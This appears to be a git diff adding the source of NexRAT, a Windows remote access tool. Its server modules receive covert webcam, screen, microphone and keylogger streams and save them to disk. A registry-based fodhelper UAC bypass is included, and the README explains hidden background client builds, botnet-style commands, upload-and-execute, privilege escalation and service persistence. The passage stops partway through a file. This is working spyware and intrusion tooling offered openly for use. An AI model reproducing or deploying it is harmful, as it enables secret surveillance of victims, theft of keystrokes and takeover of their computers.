+ + +def Audio(encoding, path, user): + try: + global audio_settings + + CHUNK = 81920 + FORMAT = pyaudio.paInt16 + CHANNELS = 2 + RATE = 44100 + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + msg = b'next' + + e = Encryption() + client, addr = s.accept() + + u = (user, client, addr) + audio_settings.append(u) + + real_msg = pickle.dumps(msg) + real_msg = zlib.compress(real_msg, 1) + real_msg = e.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + p = pyaudio.PyAudio() + stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) + frames = [] + + while True: + try: + client_msg = client.recv(81920) + + if new_msg: + msg_len = int(client_msg[:headersize]) + new_msg = False + + full_msg += client_msg + + if len(full_msg)-headersize == msg_len: + frame = e.do_decrypt(full_msg[headersize:]) + frame = zlib.decompress(frame) + frame = pickle.loads(frame) + + stream.write(frame) + frames.append(frame) + + real_msg = pickle.dumps(msg) + real_msg = zlib.compress(real_msg, 1) + real_msg = e.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + audio_settings.remove(u) + waveFile = wave.open(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.wav', 'wb') + waveFile.setnchannels(CHANNELS) + waveFile.setsampwidth(p.get_sample_size(FORMAT)) + waveFile.setframerate(RATE) + waveFile.writeframes(b''.join(frames)) + waveFile.close() + exit(0) + except: + exit(0) \ No newline at end of file diff --git a/Modules/Servers/cam.py b/Modules/Servers/cam.py new file mode 100644 index 0000000..4e8aeb9 --- /dev/null +++ b/Modules/Servers/cam.py @@ -0,0 +1,119 @@ +import random +import socket +import pickle +import zlib +import time +import cv2 + +from Utilities.db_queries import get_module_data +from Specific.encrypt import Encryption +from sys import exit + +try: + info = get_module_data() + cam_settings = [] + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind((info[1], int(info[3].split(',')[1]))) + s.listen() +except: + exit(0) + + +def cam_info(): + info = '\n' + + for index, setting in enumerate(cam_settings): + info += f' - {setting[0]}[{index}]' + if len(cam_settings) > 1 and index + 1 != len(cam_settings): + info += '\n' + + if len(cam_settings) == 0: + info = 'False' + + return info + + +def set_cam_settings(index): + global cam_settings + + try: + if index == '*': + for cam_setting in cam_settings: + cam_setting[1].close() + return 'Cams closed!' + else: + stream_settings[int(index)][1].close() + return 'Cam closed!' + except: + return 'Cam failed to close.' + + + +def Cam(encoding, path, user, quality): + try: + global cam_settings + + FRAMES = 5.0 + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + msg = b'next' + + r = random.randint(0, 1000000) + e = Encryption() + client, addr = s.accept() + + u = (user, client, addr) + cam_settings.append(u) + + real_msg = pickle.dumps(msg) + real_msg = zlib.compress(real_msg, 1) + real_msg = e.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + fourcc = cv2.VideoWriter_fourcc(*'XVID') + out = cv2.VideoWriter(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S")}.avi', fourcc, FRAMES, quality) + + while True: + try: + client_msg = client.recv(81920) + + if new_msg: + msg_len = int(client_msg[:headersize]) + new_msg = False + + full_msg += client_msg + + if len(full_msg)-headersize == msg_len: + frame = e.do_decrypt(full_msg[headersize:]) + frame = zlib.decompress(frame) + frame = pickle.loads(frame) + + cv2.namedWindow(f'{user}\'s live cam. {r}', cv2.WINDOW_NORMAL) + cv2.imshow(f'{user}\'s live cam. {r}', frame) + out.write(frame) + + if cv2.waitKey(1) == 27: + client.close() + break + + real_msg = pickle.dumps(msg) + real_msg = zlib.compress(real_msg, 1) + real_msg = e.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + cam_settings.remove(u) + out.release() + exit(0) + + cam_settings.remove(u) + out.release() + except: + exit(0) \ No newline at end of file diff --git a/Modules/Servers/keylogger.py b/Modules/Servers/keylogger.py new file mode 100644 index 0000000..7d6f337 --- /dev/null +++ b/Modules/Servers/keylogger.py @@ -0,0 +1,131 @@ +import socket +import pickle +import zlib +import time + +from Utilities.db_queries import get_module_data +from Specific.encrypt import Encryption +from sys import exit + +try: + info = get_module_data() + keylogger_settings = [] + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind((info[1], int(info[3].split(',')[3]))) + s.listen() +except: + exit(0) + + +def keylogger_info(): + info = '\n' + + for index, setting in enumerate(keylogger_settings): + info += f' - {setting[0]}[{index}]' + if len(keylogger_settings) > 1 and index + 1 != len(keylogger_settings): + info += '\n' + + if len(keylogger_settings) == 0: + info = 'False' + + return info + + +def set_keylogger_settings(index): + global keylogger_settings + + try: + if index == '*': + for keylogger_setting in keylogger_settings: + keylogger_setting[1].close() + return 'Keyloggers closed!' + else: + keylogger_settings[int(index)][1].close() + return 'Keylogger closed!' + except: + return 'Keylogger failed to close.' + + +def get_logs(index): + try: + with open(keylogger_settings[index][3], 'r') as f: + return (keylogger_settings[index][0], f.read()) + except: + return None + + +def Keylogger(encoding, path, user): + try: + global keylogger_settings + + fn = f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.txt' + first = True + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + msg = b'next' + + e = Encryption() + client, addr = s.accept() + + u = (user, client, addr, fn) + keylogger_settings.append(u) + + + with open(fn, 'a') as f: + f.write(f'Logging key strokes of {user}... [{time.strftime("%Y-%m-%d (%H-%M-%S)")}]\n\n') + f.flush() + + real_msg = pickle.dumps(msg) + real_msg = zlib.compress(real_msg, 1) + real_msg = e.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + while True: + client_msg = client.recv(1024) + + if new_msg: + msg_len = int(client_msg[:headersize]) + new_msg = False + + full_msg += client_msg + + if len(full_msg)-headersize == msg_len: + log = e.do_decrypt(full_msg[headersize:]) + log = zlib.decompress(log) + log = pickle.loads(log) + + result = '' + key = log.replace("'", '') + t = time.strftime("%Y-%m-%d (%H-%M-%S): ") + + if first: + if 'Key.space' not in log or 'Key.enter' not in log: + result = t + first = False + + if len(key) > 1: + result += f'[{key}]' + else: + result += key + + if 'Key.space' in log or 'Key.enter' in log: + result = f'\n{t}{result}' + + f.write(result) + f.flush() + + real_msg = pickle.dumps(msg) + real_msg = zlib.compress(real_msg, 1) + real_msg = e.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + keylogger_settings.remove(u) + exit(0) \ No newline at end of file diff --git a/Modules/Servers/stream.py b/Modules/Servers/stream.py new file mode 100644 index 0000000..727e2b4 --- /dev/null +++ b/Modules/Servers/stream.py @@ -0,0 +1,119 @@ +import random +import socket +import pickle +import zlib +import time +import cv2 + +from Utilities.db_queries import get_module_data +from Specific.encrypt import Encryption +from sys import exit + +try: + info = get_module_data() + stream_settings = [] + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind((info[1], int(info[3].split(',')[0]))) + s.listen() +except: + exit(0) + + +def stream_info(): + info = '\n' + + for index, setting in enumerate(stream_settings): + info += f' - {setting[0]}[{index}]' + if len(stream_settings) > 1 and index + 1 != len(stream_settings): + info += '\n' + + if len(stream_settings) == 0: + info = 'False' + + return info + + +def set_stream_settings(index): + global stream_settings + + try: + if index == '*': + for stream_setting in stream_settings: + stream_setting[1].close() + return 'Streams closed!' + else: + stream_settings[int(index)][1].close() + return 'Stream closed!' + except: + return 'Stream failed to close.' + + +def Stream(encoding, path, user): + try: + global stream_settings + + FRAMES = 5.0 + QUALITY = (1920, 1080) + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + msg = b'next' + + r = random.randint(0, 1000000) + e = Encryption() + client, addr = s.accept() + + u = (user, client, addr) + stream_settings.append(u) + + real_msg = pickle.dumps(msg) + real_msg = zlib.compress(real_msg, 1) + real_msg = e.do_encrypt(real_msg) + final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg + client.send(final_msg) + + fourcc = cv2.VideoWriter_fourcc(*'XVID') + out = cv2.VideoWriter(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S")}.avi', fourcc, FRAMES, QUALITY) + + while True: + try: + client_msg = client.recv(81920) + + if new_msg: + msg_len = int(client_msg[:headersize]) + new_msg = False + + full_msg += client_msg + + if len(full_msg)-headersize == msg_len: + frame = e.do_decrypt(full_msg[headersize:]) + frame = zlib.decompress(frame) + frame = pickle.loads(frame) + + cv2.namedWindow(f'{user}\'s live stream. {r}', cv2.WINDOW_NORMAL) + cv2.imshow(f'{user}\'s live stream. {r}', frame) + out.write(frame) + + if cv2.waitKey(1) == 27: + client.close() + break + + real_msg = pickle.dumps(msg) + real_msg = zlib.compress(real_msg, 1) + real_msg = e.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + stream_settings.remove(u) + out.release() + exit(0) + + stream_settings.remove(u) + out.release() + except: + exit(0) \ No newline at end of file diff --git a/Modules/Servers/talk.py b/Modules/Servers/talk.py new file mode 100644 index 0000000..499fadd --- /dev/null +++ b/Modules/Servers/talk.py @@ -0,0 +1,113 @@ +import pyaudio +import socket +import pickle +import zlib +import time +import wave + +from Utilities.db_queries import get_module_data +from Specific.encrypt import Encryption +from sys import exit + +try: + info = get_module_data() + talk_settings = [] + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind((info[1], int(info[3].split(',')[4]))) + s.listen() +except: + exit(0) + + +def talk_info(): + info = '\n' + + for index, setting in enumerate(talk_settings): + info += f' - {setting[0]}[{index}]' + if len(talk_settings) > 1 and index + 1 != len(talk_settings): + info += '\n' + + if len(talk_settings) == 0: + info = 'False' + + return info + + +def set_talk_settings(index): + global talk_settings + + try: + if index == '*': + for talk_setting in talk_settings: + talk_setting[1].close() + return 'Talks closed!' + else: + talk_settings[int(index)][1].close() + return 'Talk closed!' + except: + return 'Talk failed to close.' + + +def Talk(encoding, path, user): + try: + global talk_settings + + CHUNK = 81920 + FORMAT = pyaudio.paInt16 + CHANNELS = 2 + RATE = 44100 + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + frames = [] + + e = Encryption() + client, addr = s.accept() + + u = (user, client, addr) + talk_settings.append(u) + + p = pyaudio.PyAudio() + stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) + + msg = pickle.dumps(stream.read(CHUNK)) + msg = zlib.compress(msg, 1) + msg = e.do_encrypt(msg) + final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg + client.send(final_msg) + + while True: + try: + client_msg = client.recv(1024) + + if new_msg: + msg_len = int(client_msg[:headersize]) + new_msg = False + + full_msg += client_msg + + if len(full_msg)-headersize == msg_len: + data = stream.read(CHUNK) + frames.append(data) + + msg = pickle.dumps(data) + msg = zlib.compress(msg, 1) + msg = e.do_encrypt(msg) + final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg + client.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + talk_settings.remove(u) + waveFile = wave.open(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.wav', 'wb') + waveFile.setnchannels(CHANNELS) + waveFile.setsampwidth(p.get_sample_size(FORMAT)) + waveFile.setframerate(RATE) + waveFile.writeframes(b''.join(frames)) + waveFile.close() + exit(0) + except: + exit(0) \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..34fc72c --- /dev/null +++ b/README.md @@ -0,0 +1,249 @@ +# NexRAT +Free, open-source remote access tool for Windows. + +## Description +NexRAT (1/3) hosts a TCP server allowing connections from clients. Supporting C&C with powerful features, including streams of audio, desktop, webcam & keylogger. Available through its CLI. + +## Installation +* git clone https://git.alvinhavel.com/NexRAT && cd NexRAT +* pip install -r requirements.txt && pipwin install pyaudio +* start python server.py && start python client.py + +## Executable +* pyinstaller -F -i [.ico filepath] server.py +* pyinstaller -F -w -i [.ico filepath] client.py + +The difference between the builds is that the client script is windowless (-w), becoming a background process operation without the interference of the user. + +## Features +* TCP Network stream (IPv4) +* Deflate Compression & AES128 Encryption +* Botnet Like Functionality +* Multi Threaded +* Remote Shell + * Command Threading + * Command Visualization + * Command Backup +* Desktop Stream +* Cam Stream +* Audio Listener +* Audio Output +* Keylogger + * Logs Visualization +* Screenshot +* Webcam Screenshot +* Show Messagebox +* Visit Website +* Upload (& Execute) +* Download (& Execute) +* Privilege Escalation +* Service Creation +* System Information +* Location Data + +## Documentation +* () = required +* [] = optional +* | = or + +### Shell Commands +* running + * Get data about all the running modules, what client it is running on & its identifying number. + +* stream (client index) +* stream kill (client index | *) + * To open a stream of a specific client, opening a window of the client's screen in a live feed. + +* cam (client index) (camera number) (height,width) +* cam kill (client index | *) + * To open a camera stream of the users live webcam, needing to know what webcam number you want to use & the size of the camera. With the help of the devices command this information is provided. + +* audio (client index) +* audio kill (client index | *) + * Listen to a client's microphone input live. + +* keylogger (client index) +* keylogger kill (client index | *) +* keylogger text (client index) +* keylogger image (client index) + * Log every key of a client with the option to write out these logs directly in the console or by creating an black & white image of the text. + +* talk (client index) +* talk kill (client index | *) + * Talk directly with the client, in combination with the audio module you can create an audio conversation. + +* server (command) + * If you need to use the command prompt of your server, you can do it from within the program. + +* archive (client username | -a) + * Archive the data collected from a specific client or all clients with the "-a" flag. This will remove the folder of either the single user or all users after them being archived. + +* whoami (client index) + * If you've not used whoami upon connect option you can do it manually, gathering vital system information & location data of a client. + +* all (session command) + * Sends a single command to every client & gets everyone's response. This will create a slight feeling of a botnet but it is slower & is executed in a linear fashion. + +* list [-l] | ls [-l] + * List all the connected clients, either with basic information or a long list of who this person is with the "-l" flag. + +* session (client index) + * Upon a session with a specific client, this will make more commands available without the "all" or "client" commands & be receptive to command prompt data responses. Note that this session will be timed out after 2 minutes of inactivity returning you back to the managing shell to be able to keep all the clients alive even when no data is being sent between the sockets. If this happens, you can just reconnect & proceed. + +* client (client index) (session command) + * Send a session command to a specific client without entering a session with this client. + +* del (client index | *) + * Delete one or more clients from your server, disconnecting them from you. + +* options + * This will print to the console all available options you can set to improve your experience & change how the program is running. + +* set (setting=value) + * This will set one of the options provided by the "options" command. + +* time + * This will print out the time you've started the program & the current time. + +* banner + * Print out the banner that is shown when initially running the program. + +* clear | cls + * Clears the console. + +* exit | quit + * Exit the program for good. + +### Session Commands +* running + * This will return all the running modules (stream, cam, audio, keylogger, talk), what client this module is running on & what index that module is bound to, because you can run as many modules on any & all clients at any time, you will need to specify that modules id when using module commands shown below. + +* stream [ip:port] +* stream kill (stream index) + * Stream module along with all the other modules will allow you to specify a custom socket address to connect with, this is useful if you're using port tunneling to make ports available without the need of port forwarding, otherwise if not specified it will automatically connect to the same module port & ip of the host. + +* cam [ip:port] (camera number) (with,height) +* cam kill (cam index) + * Cam module needs the camera number, if you have 2 cameras & you want to use the second camera you will have to use number 1, else if the client only has one camera use 0. You will also have to specify the width & height of the camera, this is because of a bug in the cv2 module making it necessary to save a video file of the camera stream. You can use the devices command to find out the camera number & its size. + +* audio [ip:port] +* audio kill (audio index) + * The audio module will let you hear any input provided by the client into their microphone. + +* keylogger [ip:port] +* keylogger kill (keylogger index) +* keylogger text (keylogger index) +* keylogger image (keylogger index) + * The keylogger module gives you the option of writing out all the logs provided by the client in text format or visualizing the text into an black & white image with the help of the text & image commands. + +* talk [ip:port] +* talk kill (talk index) + * The talk module will allow you to talk into your microphone & the client will hear you, this can be used in conjunction with the audio module creating an audio conversation possibility. + +* upload (filename) [-e] + * The "-e" flag will automatically execute the uploaded file on the client's computer. + +* note => [filename] => (message) + * The note command will create a specific folder storing all your notes about a specific client with timestamps. The "filename" is an option because otherwise it will be saved to global.txt as it is the default, .txt will also automatically be added if you choose to set a filename. This command can be used to handle & organize your thoughts & ideas when dealing with multiple clients. Having the notes as a backup. + +* whoami + * The whoami command provides you with all the systeminfo & location data along with the initial socket data written out to the console. Making it clear who this client is & all the necessary data you will need. + +* time + * Gives you the time the session started & what the current time is. + +* clear | cls + * Clears the console. + +* exit | quit + * Exit the session & go back to your managing shell. + +* download (filename) [-e] + * Download a file with the option to execute upon successful download. + +* screenshot [-s] + * Download a screenshot of the client's computer with the option to automatically show the screenshot taken. + +* webcam (camera number) [-s] + * Webcam will take a screenshot of a specified camera with the help of the camera number, with the option to automatically show the screenshot taken. + +* cd (filepath) + * Change the directory of your session shell & navigate as you would a normal command prompt. Note that system variables cannot be used. + +* elevate (filepath) + * This will attempt to run the specified executable program as administrator, if you run this on this script successfully you will be provided with an administrator shell having the privilege to create services & edit the Windows Registry. + +* service (type) (service name) (filepath) + * If you successfully acquired an administrator shell you can create & edit services. This will make your script sticky, automatically running the program upon startup without any questions. First have to specify either to "delete" or "create" the service, the name of Z service & the absolute path of the executable. + +* devices + * Get all the webcams available on the client computer, the sizes of the cameras & their camera number. + +* message => [title] => (message) => [style] + * Show a message box to the client, the title of the messagebox, the default is "Message", the text of the message box & optionally the icon to be used ranging from 1-4. + +* open (url[,...]) + * Opens one or more urls in the clients default browser. + +* ps (powershell command) + * A shorthand for using powershell commands in your command prompt shell. + +* else command prompt data [-t] [-b] [-i] + * If no built in command is used everything will be thrown into the clients command prompt as a subprocess returning the data provided. The flags available is "-t" which will thread the command not displaying any data on screen but will execute the command. The "-b" flag will backup the data returned into a text file & "-i" will provide a black & white image of the results, saving it to a png file. The "-t" flag can't be used in conjunction with "-b" or "-i" but "-b" & "-i" can be used together, in any order just as long as they are at the end of the string data being sent. + +### Options +* quick mode + * Simply sets the "history" & "whoami" flags to False. + +* username + * Set the username of the server, default is your Windows username provided by the username environment variable. + +* theme + * Sets the color theme of the console, the default theme is light. The available themes are: + * light + * dark + * shade + * star + * diamond + * blood + * sky + * hacker + +* encoding + * How every byte sent over the sockets will be translated in, latin-1 is the default & it supports any & all characters which utf-8 does not. But the option is open to change after preference. + +* history + * This option will create a log & timestamp of when a given client connects & disconnects. Default is True. + +* whoami + * Upon connection systeminfo & location data will be gathered to be saved in a file of the users folder. Default is True. + +* notice + * A system notification upon connection & disconnection of clients. Default is True. + +* duplicates + * To allow multiple connections from one client to be allowed. Default is True. + +* email notice + * email + * password + * to + * Get an email notice every time a client connects, you will have to provide a gmail & gmail password that allows "unsafe" applications to use the email. Also if you want to send this notification to multiple people the "to" option allows that, but by default "to" will automatically be set to your own email. Default is False. + +### Unique CLI Options +All of the options above can be set with the help of command line arguments when running the program. But there are also some unique ones. To get all the available options, simply run the script using the "-h" flag. + +* --banner | -b + * Hide the banner upon running the script. Default is False. + +* --internet_protocol (IP) | -ip (IP) + * To specify the hosting IP of the server, default is 127.0.0.1. + +* --port (port) | -p (port) + * To specify the hosting port of the server, default is 1200. + +* --module_ports (module ports) | -mP (module ports) + * The ports of the modules, because they use individual socket connections. Default is 1201,1202,1203,1204,1205. + +* --use_latest | -uL + * To use the most recent "IP", "port" & "module_ports" settings, if you simply want to use what you used last time running the script. Default is False. diff --git a/Specific/encrypt.py b/Specific/encrypt.py new file mode 100644 index 0000000..6f88280 --- /dev/null +++ b/Specific/encrypt.py @@ -0,0 +1,26 @@ +import base64 + +from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC +from cryptography.hazmat.backends import default_backend +from cryptography.hazmat.primitives import hashes +from cryptography.fernet import Fernet + + +class Encryption: + def __init__(self, password='ksxgyRuBRJLKxjFeHD4nmxbE', salt=b'v4CuHZFzmTedBY2EBGrLRXsm'): + self.password = password + self.salt = salt + self.key = Fernet(self.generate_key()) + + + def generate_key(self): + kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=self.salt, iterations=100000, backend=default_backend()) + return base64.urlsafe_b64encode(kdf.derive(self.password.encode())) + + + def do_encrypt(self, message): + return self.key.encrypt(message) + + + def do_decrypt(self, ciphertext): + return self.key.decrypt(ciphertext) \ No newline at end of file diff --git a/Specific/grabber.py b/Specific/grabber.py new file mode 100644 index 0000000..badec7c --- /dev/null +++ b/Specific/grabber.py @@ -0,0 +1,113 @@ +from ctypes import Structure, c_int, POINTER, WINFUNCTYPE, windll, WinError, sizeof +from ctypes.wintypes import BOOL, HWND, RECT, HDC, HBITMAP, HGDIOBJ, DWORD, LONG, WORD, UINT, LPVOID +import numpy as np + +SRCCOPY = 0x00CC0020 +DIB_RGB_COLORS = 0 +BI_RGB = 0 + + +class BITMAPINFOHEADER(Structure): + _fields_ = [('biSize', DWORD), + ('biWidth', LONG), + ('biHeight', LONG), + ('biPlanes', WORD), + ('biBitCount', WORD), + ('biCompression', DWORD), + ('biSizeImage', DWORD), + ('biXPelsPerMeter', LONG), + ('biYPelsPerMeter', LONG), + ('biClrUsed', DWORD), + ('biClrImportant', DWORD)] + + +def err_on_zero_or_null_check(result, func, args): + if not result: + raise WinError() + return args + + +def quick_win_define(name, output, *args, **kwargs): + dllname, fname = name.split('.') + params = kwargs.get('params', None) + if params: + params = tuple([(x, ) for x in params]) + func = (WINFUNCTYPE(output, *args))((fname, getattr(windll, dllname)), params) + err = kwargs.get('err', err_on_zero_or_null_check) + if err: + func.errcheck = err + return func + + +GetClientRect = quick_win_define('user32.GetClientRect', BOOL, HWND, POINTER(RECT), params=(1, 2)) +GetDC = quick_win_define('user32.GetDC', HDC, HWND) +CreateCompatibleDC = quick_win_define('gdi32.CreateCompatibleDC', HDC, HDC) +CreateCompatibleBitmap = quick_win_define('gdi32.CreateCompatibleBitmap', HBITMAP, HDC, c_int, c_int) +ReleaseDC = quick_win_define('user32.ReleaseDC', c_int, HWND, HDC) +DeleteDC = quick_win_define('gdi32.DeleteDC', BOOL, HDC) +DeleteObject = quick_win_define('gdi32.DeleteObject', BOOL, HGDIOBJ) +SelectObject = quick_win_define('gdi32.SelectObject', HGDIOBJ, HDC, HGDIOBJ) +BitBlt = quick_win_define('gdi32.BitBlt', BOOL, HDC, c_int, c_int, c_int, c_int, HDC, c_int, c_int, DWORD) +GetDIBits = quick_win_define('gdi32.GetDIBits', c_int, HDC, HBITMAP, UINT, UINT, LPVOID, POINTER(BITMAPINFOHEADER), UINT) +GetDesktopWindow = quick_win_define('user32.GetDesktopWindow', HWND) + + +class Grabber(object): + def __init__(self, window=None, with_alpha=False, bbox=None): + window = window or GetDesktopWindow() + self.window = window + rect = GetClientRect(window) + self.width = rect.right - rect.left + self.height = rect.bottom - rect.top + if bbox: + bbox = [bbox[0], bbox[1], bbox[2] - bbox[0], bbox[3] - bbox[1]] + if not bbox[2] or not bbox[3]: + bbox[2] = self.width - bbox[0] + bbox[3] = self.height - bbox[1] + self.x, self.y, self.width, self.height = bbox + else: + self.x = 0 + self.y = 0 + self.windowDC = GetDC(window) + self.memoryDC = CreateCompatibleDC(self.windowDC) + self.bitmap = CreateCompatibleBitmap(self.windowDC, self.width, self.height) + self.bitmapInfo = BITMAPINFOHEADER() + self.bitmapInfo.biSize = sizeof(BITMAPINFOHEADER) + self.bitmapInfo.biPlanes = 1 + self.bitmapInfo.biBitCount = 32 if with_alpha else 24 + self.bitmapInfo.biWidth = self.width + self.bitmapInfo.biHeight = -self.height + self.bitmapInfo.biCompression = BI_RGB + self.bitmapInfo.biSizeImage = 0 + self.channels = 4 if with_alpha else 3 + self.closed = False + + + def __del__(self): + try: + self.close() + except: + pass + + + def close(self): + if self.closed: + return + ReleaseDC(self.window, self.windowDC) + DeleteDC(self.memoryDC) + DeleteObject(self.bitmap) + self.closed = True + + + def grab(self, output=None): + if self.closed: + raise ValueError('Grabber already closed') + if output is None: + output = np.empty((self.height, self.width, self.channels), dtype='uint8') + else: + if output.shape != (self.height, self.width, self.channels): + raise ValueError('Invalid output dimentions') + SelectObject(self.memoryDC, self.bitmap) + BitBlt(self.memoryDC, 0, 0, self.width, self.height, self.windowDC, self.x, self.y, SRCCOPY) + GetDIBits(self.memoryDC, self.bitmap, 0, self.height, output.ctypes.data, self.bitmapInfo, DIB_RGB_COLORS) + return output \ No newline at end of file diff --git a/Specific/mail.py b/Specific/mail.py new file mode 100644 index 0000000..394d5a3 --- /dev/null +++ b/Specific/mail.py @@ -0,0 +1,21 @@ +import smtplib + + +class Email: + def __init__(self, sender, sender_pw, recievers, subject, text): + self.sender = sender + self.sender_pw = sender_pw + self.recievers = recievers + self.subject = subject + self.text = text + + + def send_email(self): + message = f'From: {self.sender}\nTo: {", ".join(self.recievers)}\nSubject: {self.subject}\n\n{self.text}' + + server = smtplib.SMTP('smtp.gmail.com', 587) + server.ehlo() + server.starttls() + server.login(self.sender, self.sender_pw) + server.sendmail(self.sender, self.recievers, message) + server.close() \ No newline at end of file diff --git a/Specific/uac_bypass.py b/Specific/uac_bypass.py new file mode 100644 index 0000000..a8df662 --- /dev/null +++ b/Specific/uac_bypass.py @@ -0,0 +1,44 @@ +import winreg +import ctypes +import time +import os + +from sys import exit + +FOD_HELPER = r'C:\Windows\System32\fodhelper.exe' +REG_PATH = 'Software\Classes\ms-settings\shell\open\command' +DELEGATE_EXEC_REG_KEY = 'DelegateExecute' + + +def is_running_as_admin(): + try: + return ctypes.windll.shell32.IsUserAnAdmin() + except: + return False + + +def create_reg_key(key, value): + try: + winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH) + registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE) + winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value) + winreg.CloseKey(registry_key) + except WindowsError: + exit(0) + + +def bypass_uac(cmd, timeout=2.5): + try: + time.sleep(timeout) + create_reg_key(DELEGATE_EXEC_REG_KEY, '') + create_reg_key(None, cmd) + except WindowsError: + exit(0) + + +def Bypass(path): + try: + bypass_uac(path) + os.system(FOD_HELPER) + except WindowsError: + exit(0) \ No newline at end of file diff --git a/Uploads/files_to_upload_here.txt b/Uploads/files_to_upload_here.txt new file mode 100644 index 0000000..e69de29 diff --git a/Utilities/client.py b/Utilities/client.py new file mode 100644 index 0000000..7b004ad --- /dev/null +++ b/Utilities/client.py @@ -0,0 +1,27 @@ +import webbrowser +import ctypes + + +def show_message(title, text, style): + if style == 1: + style = 16 + elif style == 2: + style = 32 + elif style == 3: + style = 48 + elif style == 4: + style = 64 + else: + style = 0 + ctypes.windll.user32.MessageBoxW(0, text, title, style) + + +def open_browser(data): + urls = data.split(',') + + for url in urls: + if 'http://' in url or 'https://' in url: + pass + else: + url = 'https://' + url + webbrowser.open(url, new=2) \ No newline at end of file diff --git a/Utilities/db_queries.py b/Utilities/db_queries.py new file mode 100644 index 0000000..db4a08e --- /dev/null +++ b/Utilities/db_queries.py @@ -0,0 +1,36 @@ +import sqlite3 + + +def update_db(use_latest, ip, port, module_ports): + conn = sqlite3.connect('Settings.db') + c = conn.cursor() + + if use_latest is False: + try: + c.execute("""CREATE TABLE settings ( + ID INTEGER PRIMARY KEY AUTOINCREMENT, + ip TEXT, + port INTEGER, + module_ports TEXT + )""") + conn.commit() + except: + c.execute("UPDATE settings SET ip=?, port=?, module_ports=? WHERE ID=1;", (ip, port, module_ports)) + conn.commit() + else: + c.execute("INSERT INTO settings (ip, port, module_ports) VALUES (?, ?, ?);", (ip, port, module_ports)) + conn.commit() + + conn.close() + + +def get_module_data(): + conn = sqlite3.connect('Settings.db') + c = conn.cursor() + + c.execute("SELECT * FROM settings WHERE ID=1") + conn.commit() + db_data = c.fetchone() + conn.close() + + return db_data \ No newline at end of file diff --git a/Utilities/server.py b/Utilities/server.py new file mode 100644 index 0000000..9da3802 --- /dev/null +++ b/Utilities/server.py @@ -0,0 +1,212 @@ +import msvcrt +import random +import time +import os + +from PIL import ImageFont, Image, ImageDraw, ImageOps +from colorama import Fore, Style + + +def set_module_ports(values): + ports = [] + for value in values: + try: + port = int(value) + if port > 65000 or port < 1000: + raise Exception('Something went wrong') + ports.append(port) + except: + ports.append(random.randint(1000, 65000)) + while True: + if len(ports) < 5: + ports.append(random.randint(1000, 65000)) + else: + break + return ports + + +def set_username(value): + if value is None: + try: + return os.environ['USERNAME'].capitalize() + except: + return 'Anonymous' + elif len(value) < 15 and len(value) > 0: + return value.capitalize() + + +def set_theme(value): + if len(value) > 0: + if value == 'light': + return [Fore.LIGHTWHITE_EX, Fore.LIGHTRED_EX, Fore.LIGHTCYAN_EX, Fore.LIGHTWHITE_EX, Fore.LIGHTRED_EX, 'light'] + elif value == 'dark': + return [Fore.BLACK, Fore.LIGHTRED_EX, Fore.LIGHTCYAN_EX, Fore.BLACK, Fore.LIGHTRED_EX, 'dark'] + elif value == 'shade': + return [Fore.LIGHTBLACK_EX, Fore.RED, Fore.CYAN, Fore.LIGHTBLACK_EX, Fore.LIGHTRED_EX, 'shade'] + elif value == 'star': + return [Fore.LIGHTWHITE_EX, Fore.LIGHTRED_EX, Fore.LIGHTYELLOW_EX, Fore.LIGHTWHITE_EX, Fore.LIGHTRED_EX, 'star'] + elif value == 'diamond': + return [Fore.LIGHTWHITE_EX, Fore.LIGHTYELLOW_EX, Fore.LIGHTBLUE_EX, Fore.LIGHTWHITE_EX, Fore.LIGHTRED_EX, 'diamond'] + elif value == 'blood': + return [Fore.LIGHTWHITE_EX, Fore.LIGHTYELLOW_EX, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX, Fore.LIGHTRED_EX, 'blood'] + elif value == 'sky': + return [Fore.LIGHTWHITE_EX, 